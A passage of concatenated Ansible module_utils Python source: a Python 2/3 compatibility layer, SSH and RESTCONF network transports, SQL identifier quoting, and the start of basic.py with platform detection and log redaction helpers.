get_method_self = operator.attrgetter(_meth_self)
get_function_closure = operator.attrgetter(_func_closure)
get_function_code = operator.attrgetter(_func_code)
get_function_defaults = operator.attrgetter(_func_defaults)
get_function_globals = operator.attrgetter(_func_globals)


def iterkeys(d, **kw):
    """Return an iterator over the keys of a dictionary."""
    return iter(getattr(d, _iterkeys)(**kw))

def itervalues(d, **kw):
    """Return an iterator over the values of a dictionary."""
    return iter(getattr(d, _itervalues)(**kw))

def iteritems(d, **kw):
    """Return an iterator over the (key, value) pairs of a dictionary."""
    return iter(getattr(d, _iteritems)(**kw))

def iterlists(d, **kw):
    """Return an iterator over the (key, [values]) pairs of a dictionary."""
    return iter(getattr(d, _iterlists)(**kw))


if PY3:
    def b(s):
        return s.encode("latin-1")
    def u(s):
        return s
    unichr = chr
    if sys.version_info[1] <= 1:
        def int2byte(i):
            return bytes((i,))
    else:
        # This is about 2x faster than the implementation above on 3.2+
        int2byte = operator.methodcaller("to_bytes", 1, "big")
    byte2int = operator.itemgetter(0)
    indexbytes = operator.getitem
    iterbytes = iter
    import io
    StringIO = io.StringIO
    BytesIO = io.BytesIO
else:
    def b(s):
        return s
    def u(s):
        return unicode(s, "unicode_escape")
    unichr = unichr
    int2byte = chr
    def byte2int(bs):
        return ord(bs[0])
    def indexbytes(buf, i):
        return ord(buf[i])
    def iterbytes(buf):
        return (ord(byte) for byte in buf)
    import StringIO
    StringIO = BytesIO = StringIO.StringIO
_add_doc(b, """Byte literal""")
_add_doc(u, """Text literal""")


if PY3:
    import builtins
    exec_ = getattr(builtins, "exec")


    def reraise(tp, value, tb=None):
        if value.__traceback__ is not tb:
            raise value.with_traceback(tb)
        raise value


    print_ = getattr(builtins, "print")
    del builtins

else:
    def exec_(_code_, _globs_=None, _locs_=None):
        """Execute code in a namespace."""
        if _globs_ is None:
            frame = sys._getframe(1)
            _globs_ = frame.f_globals
            if _locs_ is None:
                _locs_ = frame.f_locals
            del frame
        elif _locs_ is None:
            _locs_ = _globs_
        exec("""exec _code_ in _globs_, _locs_""")


    exec_("""def reraise(tp, value, tb=None):
    raise tp, value, tb
""")


    def print_(*args, **kwargs):
        """The new-style print function."""
        fp = kwargs.pop("file", sys.stdout)
        if fp is None:
            return
        def write(data):
            if not isinstance(data, basestring):
                data = str(data)
            fp.write(data)
        want_unicode = False
        sep = kwargs.pop("sep", None)
        if sep is not None:
            if isinstance(sep, unicode):
                want_unicode = True
            elif not isinstance(sep, str):
                raise TypeError("sep must be None or a string")
        end = kwargs.pop("end", None)
        if end is not None:
            if isinstance(end, unicode):
                want_unicode = True
            elif not isinstance(end, str):
                raise TypeError("end must be None or a string")
        if kwargs:
            raise TypeError("invalid keyword arguments to print()")
        if not want_unicode:
            for arg in args:
                if isinstance(arg, unicode):
                    want_unicode = True
                    break
        if want_unicode:
            newline = unicode("\n")
            space = unicode(" ")
        else:
            newline = "\n"
            space = " "
        if sep is None:
            sep = space
        if end is None:
            end = newline
        for i, arg in enumerate(args):
            if i:
                write(sep)
            write(arg)
        write(end)

_add_doc(reraise, """Reraise an exception.""")


def with_metaclass(meta, *bases):
    """Create a base class with a metaclass."""
    return meta("NewBase", bases, {})

def add_metaclass(metaclass):
    """Class decorator for creating a class with a metaclass."""
    def wrapper(cls):
        orig_vars = cls.__dict__.copy()
        orig_vars.pop('__dict__', None)
        orig_vars.pop('__weakref__', None)
        for slots_var in orig_vars.get('__slots__', ()):
            orig_vars.pop(slots_var)
        return metaclass(cls.__name__, cls.__bases__, orig_vars)
    return wrapper






#
# (c) 2015 Peter Sprygada, <psprygada@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#

import re

from ansible.module_utils.basic import json
from ansible.module_utils.network import NetworkModule, NetworkError, ModuleStub
from ansible.module_utils.network import add_argument, register_transport, to_list
from ansible.module_utils.shell import CliBase
from ansible.module_utils.netcli import Command
from ansible.module_utils.urls import fetch_url, url_argument_spec, urlparse

add_argument('use_ssl', dict(default=True, type='bool'))
add_argument('validate_certs', dict(default=True, type='bool'))


class Cli(CliBase):

    NET_PASSWD_RE = re.compile(r"[\r\n]?password: $", re.I)

    CLI_PROMPTS_RE = [
        re.compile(r"[\r\n]?[\w+\-\.:\/\[\]]+(?:\([^\)]+\)){,3}(?:>|#) ?$"),
        re.compile(r"\[\w+\@[\w\-\.]+(?: [^\]])\] ?[>#\$] ?$")
    ]

    CLI_ERRORS_RE = [
        re.compile(r"% ?Error"),
        re.compile(r"% ?Bad secret"),
        re.compile(r"invalid input", re.I),
        re.compile(r"(?:incomplete|ambiguous) command", re.I),
        re.compile(r"connection timed out", re.I),
        re.compile(r"[^\r\n]+ not found", re.I),
        re.compile(r"'[^']' +returned error code: ?\d+"),
    ]

    def connect(self, params, **kwargs):
        super(Cli, self).connect(params, kickstart=False, **kwargs)
        self.shell.send('terminal length 0')
        self._connected = True

    def authorize(self, params, **kwargs):
        passwd = params['auth_pass']
        self.run_commands(
            Command('enable', prompt=self.NET_PASSWD_RE, response=passwd)
        )

    ### implementation of netcli.Cli ###

    def run_commands(self, commands, **kwargs):
        return self.execute(to_list(commands))

    ### implementation of netcfg.Config ###

    def configure(self, commands, **kwargs):
        cmds = ['configure terminal']
        cmds.extend(to_list(commands))
        if cmds[-1] != 'end':
            cmds.append('end')
        responses = self.execute(cmds)
        return responses[1:]

    def get_config(self, include_defaults=False, **kwargs):
        cmd = 'show running-config'
        if include_defaults:
            cmd += ' all'
        return self.run_commands(cmd)[0]

    def load_config(self, commands, **kwargs):
        return self.configure(commands)

    def save_config(self):
        self.execute(['copy running-config startup-config'])

Cli = register_transport('cli', default=True)(Cli)


class Restconf(object):

    DEFAULT_HEADERS = {
        'Content-Type': 'application/json',
        'Accept': 'application/json'
    }

    def __init__(self):
        self.url = None

        self.url_args = ModuleStub(url_argument_spec(), self._error)

        self.token = None
        self.link = None

        self._connected = False
        self.default_output = 'text'

    def _error(self, msg):
        raise NetworkError(msg, url=self.url)

    def connect(self, params, **kwargs):
        host = params['host']
        port = params['port'] or 55443

        self.url_args.params['url_username'] = params['username']
        self.url_args.params['url_password'] = params['password']
        self.url_args.params['validate_certs'] = params['validate_certs']

        self.url = 'https://%s:%s/api/v1/' % (host, port)

        response = self.post('auth/token-services')

        self.token = response['token-id']
        self.link = response['link']
        self._connected = True

    def disconnect(self):
        self.delete(self.link)
        self._connected = False

    def authorize(self):
        pass


    ### REST methods ###

    def request(self, method, path, data=None, headers=None):

        headers = headers or self.DEFAULT_HEADERS

        if self.token:
            headers['X-Auth-Token'] = self.token

        if path.startswith('/'):
            path = path[1:]

        url = urlparse.urljoin(self.url, path)

        if data:
            data = json.dumps(data)

        response, headers = fetch_url(self.url_args, url, data=data,
                headers=headers, method=method)

        if not 200 <= headers['status'] <= 299:
            raise NetworkError(response=response, **headers)

        if int(headers['content-length']) > 0:
            if headers['content-type'].startswith('application/json'):
                response = json.load(response)
            elif headers['content-type'].startswith('text/plain'):
                response = str(response.read())

        return response

    def get(self, path, data=None, headers=None):
        return self.request('GET', path, data, headers)

    def put(self, path, data=None, headers=None):
        return self.request('PUT', path, data, headers)

    def post(self, path, data=None, headers=None):
        return self.request('POST', path, data, headers)

    def delete(self, path, data=None, headers=None):
        return self.request('DELETE', path, data, headers)


    ### implementation of netcli.Cli ###

    def run_commands(self, commands):
        responses = list()
        for cmd in to_list(commands):
            if str(cmd).startswith('show '):
                cmd = str(cmd)[4:]
            responses.append(self.execute(str(cmd)))
        return responses

    def execute(self, command):
        data = dict(show=command)
        response = self.put('global/cli', data=data)
        return response['results']


    ### implementation of netcfg.Config ###

    def configure(self, commands):
        config = list()
        for c in commands:
            config.append(str(c))
        data = dict(config='\n'.join(config))
        self.put('global/cli', data=data)

    def load_config(self, commands, **kwargs):
        return self.configure(commands)

    def get_config(self, **kwargs):
        hdrs = {'Content-type': 'text/plain', 'Accept': 'text/plain'}
        return self.get('global/running-config', headers=hdrs)

    def save_config(self):
        self.put('/api/v1/global/save-config')

Restconf = register_transport('restconf')(Restconf)






#
# (c) 2015 Peter Sprygada, <psprygada@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
import re
import socket
import time

# py2 vs py3; replace with six via ansiballz
try:
    from StringIO import StringIO
except ImportError:
    from io import StringIO

try:
    import paramiko
    from paramiko.ssh_exception import AuthenticationException
    HAS_PARAMIKO = True
except ImportError:
    HAS_PARAMIKO = False

from ansible.module_utils.basic import get_exception
from ansible.module_utils.network import NetworkError

ANSI_RE = [
    re.compile(r'(\x1b\[\?1h\x1b=)'),
    re.compile(r'\x08.')
]

def to_list(val):
    if isinstance(val, (list, tuple)):
        return list(val)
    elif val is not None:
        return [val]
    else:
        return list()


class ShellError(Exception):

    def __init__(self, msg, command=None):
        super(ShellError, self).__init__(msg)
        self.message = msg
        self.command = command


class Shell(object):

    def __init__(self, prompts_re=None, errors_re=None, kickstart=True):
        self.ssh = None
        self.shell = None

        self.kickstart = kickstart
        self._matched_prompt = None

        self.prompts = prompts_re or list()
        self.errors = errors_re or list()

    def open(self, host, port=22, username=None, password=None,
            timeout=10, key_filename=None, pkey=None, look_for_keys=None,
            allow_agent=False):

        self.ssh = paramiko.SSHClient()
        self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        # unless explicitly set, disable look for keys if a password is
        # present. this changes the default search order paramiko implements
        if not look_for_keys:
            look_for_keys = password is None

        try:
            self.ssh.connect(host, port=port, username=username, password=password,
                        timeout=timeout, look_for_keys=look_for_keys, pkey=pkey,
                        key_filename=key_filename, allow_agent=allow_agent)

            self.shell = self.ssh.invoke_shell()
            self.shell.settimeout(timeout)
        except socket.gaierror:
            raise ShellError("unable to resolve host name")
        except AuthenticationException:
            raise ShellError('Unable to authenticate to remote device')

        if self.kickstart:
            self.shell.sendall("\n")

        self.receive()

    def strip(self, data):
        for regex in ANSI_RE:
            data = regex.sub('', data)
        return data

    def receive(self, cmd=None):
        recv = StringIO()
        handled = False

        while True:
            data = self.shell.recv(200)

            recv.write(data)
            recv.seek(recv.tell() - 200)

            window = self.strip(recv.read())

            if hasattr(cmd, 'prompt') and not handled:
                if self.handle_prompt(window, prompt=cmd.prompt, response=cmd.response):
                    handled = True
                    time.sleep(cmd.delay)
                    if cmd.is_reboot:
                        return

            try:
                if self.find_prompt(window):
                    resp = self.strip(recv.getvalue())
                    return self.sanitize(cmd, resp)
            except ShellError:
                exc = get_exception()
                exc.command = cmd
                raise

    def send(self, commands):
        responses = list()
        try:
            for command in to_list(commands):
                cmd = '%s\r' % str(command)
                self.shell.sendall(cmd)
                responses.append(self.receive(command))
        except socket.timeout:
            raise ShellError("timeout trying to send command: %s" % cmd)
        except socket.error:
            exc = get_exception()
            raise ShellError("problem sending command to host: %s" % exc.message)
        return responses

    def close(self):
        self.shell.close()

    def handle_prompt(self, resp, prompt, response):
        if not prompt or not response:
            return

        prompt = to_list(prompt)
        response = to_list(response)

        for pr, ans in zip(prompt, response):
            match = pr.search(resp)
            if match:
                cmd = '%s\r' % ans
                self.shell.sendall(cmd)
                return True

    def sanitize(self, cmd, resp):
        cleaned = []
        for line in resp.splitlines():
            if line.startswith(str(cmd)) or self.find_prompt(line):
                continue
            cleaned.append(line)
        return "\n".join(cleaned)

    def find_prompt(self, response):
        for regex in self.errors:
            if regex.search(response):
                raise ShellError('matched error in response: %s' % response)

        for regex in self.prompts:
            match = regex.search(response)
            if match:
                self._matched_prompt = match.group()
                return True


class CliBase(object):
    """Basic paramiko-based ssh transport any NetworkModule can use."""

    def __init__(self):
        if not HAS_PARAMIKO:
            raise NetworkError(
                msg='paramiko is required but does not appear to be installed.  '
                'It can be installed using  `pip install paramiko`'
            )

        self.shell = None
        self._connected = False
        self.default_output = 'text'

    def connect(self, params, kickstart=True, **kwargs):
        host = params['host']
        port = params.get('port') or 22

        username = params['username']
        password = params.get('password')
        key_file = params.get('ssh_keyfile')
        timeout = params['timeout']

        try:
            self.shell = Shell(
                kickstart=kickstart,
                prompts_re=self.CLI_PROMPTS_RE,
                errors_re=self.CLI_ERRORS_RE,
            )
            self.shell.open(
                host, port=port, username=username, password=password,
                key_filename=key_file, timeout=timeout,
            )
        except ShellError:
            exc = get_exception()
            raise NetworkError(
                msg='failed to connect to %s:%s' % (host, port), exc=str(exc)
            )

        self._connected = True

    def disconnect(self, **kwargs):
        self.shell.close()
        self._connected = False

    def authorize(self, params, **kwargs):
        pass

    def execute(self, commands, **kwargs):
        try:
            return self.shell.send(commands)
        except ShellError:
            exc = get_exception()
            raise NetworkError(exc.message, commands=commands)







# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by Ansible
# still belong to the author of the module, and may assign their own license
# to the complete work.
#
# Copyright (c) 2014, Toshio Kuratomi <tkuratomi@ansible.com>
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

class SQLParseError(Exception):
    pass

class UnclosedQuoteError(SQLParseError):
    pass

# maps a type of identifier to the maximum number of dot levels that are
# allowed to specify that identifier.  For example, a database column can be
# specified by up to 4 levels: database.schema.table.column
_PG_IDENTIFIER_TO_DOT_LEVEL = dict(database=1, schema=2, table=3, column=4, role=1)
_MYSQL_IDENTIFIER_TO_DOT_LEVEL = dict(database=1, table=2, column=3, role=1, vars=1)

def _find_end_quote(identifier, quote_char):
    accumulate = 0
    while True:
        try:
            quote = identifier.index(quote_char)
        except ValueError:
            raise UnclosedQuoteError
        accumulate = accumulate + quote
        try:
            next_char = identifier[quote+1]
        except IndexError:
            return accumulate
        if next_char == quote_char:
            try:
                identifier = identifier[quote+2:]
                accumulate = accumulate + 2
            except IndexError:
                raise UnclosedQuoteError
        else:
            return accumulate


def _identifier_parse(identifier, quote_char):
    if not identifier:
        raise SQLParseError('Identifier name unspecified or unquoted trailing dot')

    already_quoted = False
    if identifier.startswith(quote_char):
        already_quoted = True
        try:
            end_quote = _find_end_quote(identifier[1:], quote_char=quote_char) + 1
        except UnclosedQuoteError:
            already_quoted = False
        else:
            if end_quote < len(identifier) - 1:
                if identifier[end_quote+1] == '.':
                    dot = end_quote + 1
                    first_identifier = identifier[:dot]
                    next_identifier = identifier[dot+1:]
                    further_identifiers = _identifier_parse(next_identifier, quote_char)
                    further_identifiers.insert(0, first_identifier)
                else:
                    raise SQLParseError('User escaped identifiers must escape extra quotes')
            else:
                further_identifiers = [identifier]

    if not already_quoted:
        try:
            dot = identifier.index('.')
        except ValueError:
            identifier = identifier.replace(quote_char, quote_char*2)
            identifier = ''.join((quote_char, identifier, quote_char))
            further_identifiers = [identifier]
        else:
            if dot == 0 or dot >= len(identifier) - 1:
                identifier = identifier.replace(quote_char, quote_char*2)
                identifier = ''.join((quote_char, identifier, quote_char))
                further_identifiers = [identifier]
            else:
                first_identifier = identifier[:dot]
                next_identifier = identifier[dot+1:]
                further_identifiers = _identifier_parse(next_identifier, quote_char)
                first_identifier = first_identifier.replace(quote_char, quote_char*2)
                first_identifier = ''.join((quote_char, first_identifier, quote_char))
                further_identifiers.insert(0, first_identifier)

    return further_identifiers


def pg_quote_identifier(identifier, id_type):
    identifier_fragments = _identifier_parse(identifier, quote_char='"')
    if len(identifier_fragments) > _PG_IDENTIFIER_TO_DOT_LEVEL[id_type]:
        raise SQLParseError('PostgreSQL does not support %s with more than %i dots' % (id_type, _PG_IDENTIFIER_TO_DOT_LEVEL[id_type]))
    return '.'.join(identifier_fragments)

def mysql_quote_identifier(identifier, id_type):
    identifier_fragments = _identifier_parse(identifier, quote_char='`')
    if len(identifier_fragments) > _MYSQL_IDENTIFIER_TO_DOT_LEVEL[id_type]:
        raise SQLParseError('MySQL does not support %s with more than %i dots' % (id_type, _MYSQL_IDENTIFIER_TO_DOT_LEVEL[id_type]))

    special_cased_fragments = []
    for fragment in identifier_fragments:
        if fragment == '`*`':
            special_cased_fragments.append('*')
        else:
            special_cased_fragments.append(fragment)

    return '.'.join(special_cased_fragments)






# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by Ansible
# still belong to the author of the module, and may assign their own license
# to the complete work.
#
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2012-2013
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#

BOOLEANS_TRUE = ['y', 'yes', 'on', '1', 'true', 1, True]
BOOLEANS_FALSE = ['n', 'no', 'off', '0', 'false', 0, False]
BOOLEANS = BOOLEANS_TRUE + BOOLEANS_FALSE

# ansible modules can be written in any language.  To simplify
# development of Python modules, the functions available here can
# be used to do many common tasks

import locale
import os
import re
import pipes
import shlex
import subprocess
import sys
import types
import time
import select
import shutil
import stat
import tempfile
import traceback
import grp
import pwd
import platform
import errno
import datetime
from itertools import repeat, chain

try:
    import syslog
    HAS_SYSLOG=True
except ImportError:
    HAS_SYSLOG=False

try:
    from systemd import journal
    has_journal = True
except ImportError:
    has_journal = False

HAVE_SELINUX=False
try:
    import selinux
    HAVE_SELINUX=True
except ImportError:
    pass

# Python2 & 3 way to get NoneType
NoneType = type(None)

try:
    from collections import Sequence, Mapping
except ImportError:
    # python2.5
    Sequence = (list, tuple)
    Mapping = (dict,)

try:
    from collections.abc import KeysView
    SEQUENCETYPE = (Sequence, KeysView)
except:
    SEQUENCETYPE = Sequence

try:
    import json
    # Detect the python-json library which is incompatible
    # Look for simplejson if that's the case
    try:
        if not isinstance(json.loads, types.FunctionType) or not isinstance(json.dumps, types.FunctionType):
            raise ImportError
    except AttributeError:
        raise ImportError
except ImportError:
    try:
        import simplejson as json
    except ImportError:
        print('\n{"msg": "Error: ansible requires the stdlib json or simplejson module, neither was found!", "failed": true}')
        sys.exit(1)
    except SyntaxError:
        print('\n{"msg": "SyntaxError: probably due to installed simplejson being for a different python version", "failed": true}')
        sys.exit(1)

AVAILABLE_HASH_ALGORITHMS = dict()
try:
    import hashlib

    # python 2.7.9+ and 2.7.0+
    for attribute in ('available_algorithms', 'algorithms'):
        algorithms = getattr(hashlib, attribute, None)
        if algorithms:
            break
    if algorithms is None:
        # python 2.5+
        algorithms = ('md5', 'sha1', 'sha224', 'sha256', 'sha384', 'sha512')
    for algorithm in algorithms:
        AVAILABLE_HASH_ALGORITHMS[algorithm] = getattr(hashlib, algorithm)
except ImportError:
    import sha
    AVAILABLE_HASH_ALGORITHMS = {'sha1': sha.sha}
    try:
        import md5
        AVAILABLE_HASH_ALGORITHMS['md5'] = md5.md5
    except ImportError:
        pass

from ansible.module_utils.pycompat24 import get_exception, literal_eval
from ansible.module_utils.six import (PY2, PY3, b, binary_type, integer_types,
        iteritems, text_type, string_types)
from ansible.module_utils.six.moves import map, reduce
from ansible.module_utils._text import to_native

_NUMBERTYPES = tuple(list(integer_types) + [float])

# Deprecated compat.  Only kept in case another module used these names  Using
# ansible.module_utils.six is preferred

NUMBERTYPES = _NUMBERTYPES

imap = map

try:
    # Python 2
    unicode
except NameError:
    # Python 3
    unicode = text_type

try:
    # Python 2.6+
    bytes
except NameError:
    # Python 2.4
    bytes = binary_type

try:
    # Python 2
    basestring
except NameError:
    # Python 3
    basestring = string_types

_literal_eval = literal_eval

# End of deprecated names

# Internal global holding passed in params.  This is consulted in case
# multiple AnsibleModules are created.  Otherwise each AnsibleModule would
# attempt to read from stdin.  Other code should not use this directly as it
# is an internal implementation detail
_ANSIBLE_ARGS = None

FILE_COMMON_ARGUMENTS=dict(
    src = dict(),
    mode = dict(type='raw'),
    owner = dict(),
    group = dict(),
    seuser = dict(),
    serole = dict(),
    selevel = dict(),
    setype = dict(),
    follow = dict(type='bool', default=False),
    # not taken by the file module, but other modules call file so it must ignore them.
    content = dict(no_log=True),
    backup = dict(),
    force = dict(),
    remote_src = dict(), # used by assemble
    regexp = dict(), # used by assemble
    delimiter = dict(), # used by assemble
    directory_mode = dict(), # used by copy
    unsafe_writes  = dict(type='bool'), # should be available to any module using atomic_move
)

PASSWD_ARG_RE = re.compile(r'^[-]{0,2}pass[-]?(word|wd)?')

# Can't use 07777 on Python 3, can't use 0o7777 on Python 2.4
PERM_BITS = int('07777', 8)      # file mode permission bits
EXEC_PERM_BITS = int('00111', 8) # execute permission bits
DEFAULT_PERM = int('0666', 8)    # default file permission bits


def get_platform():
    ''' what's the platform?  example: Linux is a platform. '''
    return platform.system()

def get_distribution():
    ''' return the distribution name '''
    if platform.system() == 'Linux':
        try:
            supported_dists = platform._supported_dists + ('arch',)
            distribution = platform.linux_distribution(supported_dists=supported_dists)[0].capitalize()
            if not distribution and os.path.isfile('/etc/system-release'):
                distribution = platform.linux_distribution(supported_dists=['system'])[0].capitalize()
                if 'Amazon' in distribution:
                    distribution = 'Amazon'
                else:
                    distribution = 'OtherLinux'
        except:
            # FIXME: MethodMissing, I assume?
            distribution = platform.dist()[0].capitalize()
    else:
        distribution = None
    return distribution

def get_distribution_version():
    ''' return the distribution version '''
    if platform.system() == 'Linux':
        try:
            distribution_version = platform.linux_distribution()[1]
            if not distribution_version and os.path.isfile('/etc/system-release'):
                distribution_version = platform.linux_distribution(supported_dists=['system'])[1]
        except:
            # FIXME: MethodMissing, I assume?
            distribution_version = platform.dist()[1]
    else:
        distribution_version = None
    return distribution_version

def get_all_subclasses(cls):
    '''
    used by modules like Hardware or Network fact classes to retrieve all subclasses of a given class.
    __subclasses__ return only direct sub classes. This one go down into the class tree.
    '''
    # Retrieve direct subclasses
    subclasses = cls.__subclasses__()
    to_visit = list(subclasses)
    # Then visit all subclasses
    while to_visit:
        for sc in to_visit:
            # The current class is now visited, so remove it from list
            to_visit.remove(sc)
            # Appending all subclasses to visit and keep a reference of available class
            for ssc in sc.__subclasses__():
                subclasses.append(ssc)
                to_visit.append(ssc)
    return subclasses


def load_platform_subclass(cls, *args, **kwargs):
    '''
    used by modules like User to have different implementations based on detected platform.  See User
    module for an example.
    '''

    this_platform = get_platform()
    distribution = get_distribution()
    subclass = None

    # get the most specific superclass for this platform
    if distribution is not None:
        for sc in get_all_subclasses(cls):
            if sc.distribution is not None and sc.distribution == distribution and sc.platform == this_platform:
                subclass = sc
    if subclass is None:
        for sc in get_all_subclasses(cls):
            if sc.platform == this_platform and sc.distribution is None:
                subclass = sc
    if subclass is None:
        subclass = cls

    return super(cls, subclass).__new__(subclass)


def json_dict_unicode_to_bytes(d, encoding='utf-8'):
    ''' Recursively convert dict keys and values to byte str

        Specialized for json return because this only handles, lists, tuples,
        and dict container types (the containers that the json module returns)
    '''

    if isinstance(d, text_type):
        return d.encode(encoding)
    elif isinstance(d, dict):
        return dict(map(json_dict_unicode_to_bytes, iteritems(d), repeat(encoding)))
    elif isinstance(d, list):
        return list(map(json_dict_unicode_to_bytes, d, repeat(encoding)))
    elif isinstance(d, tuple):
        return tuple(map(json_dict_unicode_to_bytes, d, repeat(encoding)))
    else:
        return d

def json_dict_bytes_to_unicode(d, encoding='utf-8'):
    ''' Recursively convert dict keys and values to byte str

        Specialized for json return because this only handles, lists, tuples,
        and dict container types (the containers that the json module returns)
    '''

    if isinstance(d, binary_type):
        # Warning, can traceback
        return d.decode(encoding)
    elif isinstance(d, dict):
        return dict(map(json_dict_bytes_to_unicode, iteritems(d), repeat(encoding)))
    elif isinstance(d, list):
        return list(map(json_dict_bytes_to_unicode, d, repeat(encoding)))
    elif isinstance(d, tuple):
        return tuple(map(json_dict_bytes_to_unicode, d, repeat(encoding)))
    else:
        return d

def return_values(obj):
    """ Return native stringified values from datastructures.

    For use with removing sensitive values pre-jsonification."""
    if isinstance(obj, (text_type, binary_type)):
        if obj:
            if isinstance(obj, text_type) and PY2:
                # Unicode objects should all convert to utf-8
                yield obj.encode('utf-8')
            elif isinstance(obj, binary_type) and PY3:
                yield obj.decode('utf-8', 'surrogateescape')
            else:
                # Already native string for this python version
                yield obj
        return
    elif isinstance(obj, SEQUENCETYPE):
        for element in obj:
            for subelement in return_values(element):
                yield subelement
    elif isinstance(obj, Mapping):
        for element in obj.items():
            for subelement in return_values(element[1]):
                yield subelement
    elif isinstance(obj, (bool, NoneType)):
        # This must come before int because bools are also ints
        return
    elif isinstance(obj, NUMBERTYPES):
        yield str(obj)
    else:
        raise TypeError('Unknown parameter type: %s, %s' % (type(obj), obj))

def remove_values(value, no_log_strings):
    """ Remove strings in no_log_strings from value.  If value is a container
    type, then remove a lot more"""
    if isinstance(value, (text_type, binary_type)):
        # Need native str type
        native_str_value = value
        if isinstance(value, text_type):
            value_is_text = True
            if PY2:
                native_str_value = value.encode('utf-8')
        elif isinstance(value, binary_type):
            value_is_text = False
            if PY3:
                native_str_value = value.decode('utf-8', 'surrogateescape')

        if native_str_value in no_log_strings:
            return 'VALUE_SPECIFIED_IN_NO_LOG_PARAMETER'
        for omit_me in no_log_strings:
            native_str_value = native_str_value.replace(omit_me, '*' * 8)

        if value_is_text and isinstance(native_str_value, binary_type):
            value = native_str_value.decode('utf-8', 'replace')
        elif not value_is_text and isinstance(native_str_value, text_type):
            value = native_str_value.encode('utf-8', 'surrogateescape')
        else:
            value = native_str_value
    elif isinstance(value, SEQUENCETYPE):
        return [remove_values(elem, no_log_strings) for elem in value]
    elif isinstance(value, Mapping):
        return dict((k, remove_values(v, no_log_strings)) for k, v in value.items())
    elif isinstance(value, tuple(chain(NUMBERTYPES, (bool, NoneType)))):
        stringy_value = str(value)
        if stringy_value in no_log_strings:
            return 'VALUE_SPECIFIED_IN_NO_LOG_PARAMETER'
        for omit_me in no_log_strings:
            if omit_me in stringy_value:
                return 'VALUE_SPECIFIED_IN_NO_LOG_PARAMETER'
    elif isinstance(value, datetime.datetime):
        value = value.isoformat()
    else:
        raise TypeError('Value of unknown type: %s, %s' % (type(value), value))
    return value


def heuristic_log_sanitize(data, no_log_values=None):
    ''' Remove strings that look like passwords from log messages '''
    # Currently filters:
    # user:pass@foo/whatever and http://username:pass@wherever/foo
    # This code has false positives and consumes parts of logs that are
    # not passwds

    # begin: start of a passwd containing string
    # end: end of a passwd containing string
    # sep: char between user and passwd
    # prev_begin: where in the overall string to start a search for
    #   a passwd
    # sep_search_end: where in the string to end a search for the sep
    data = to_native(data)

    output = []
    begin = len(data)
    prev_begin = begin
    sep = 1
    while sep:
        # Find the potential end of a passwd
        try:
            end = data.rindex('@', 0, begin)
        except ValueError:
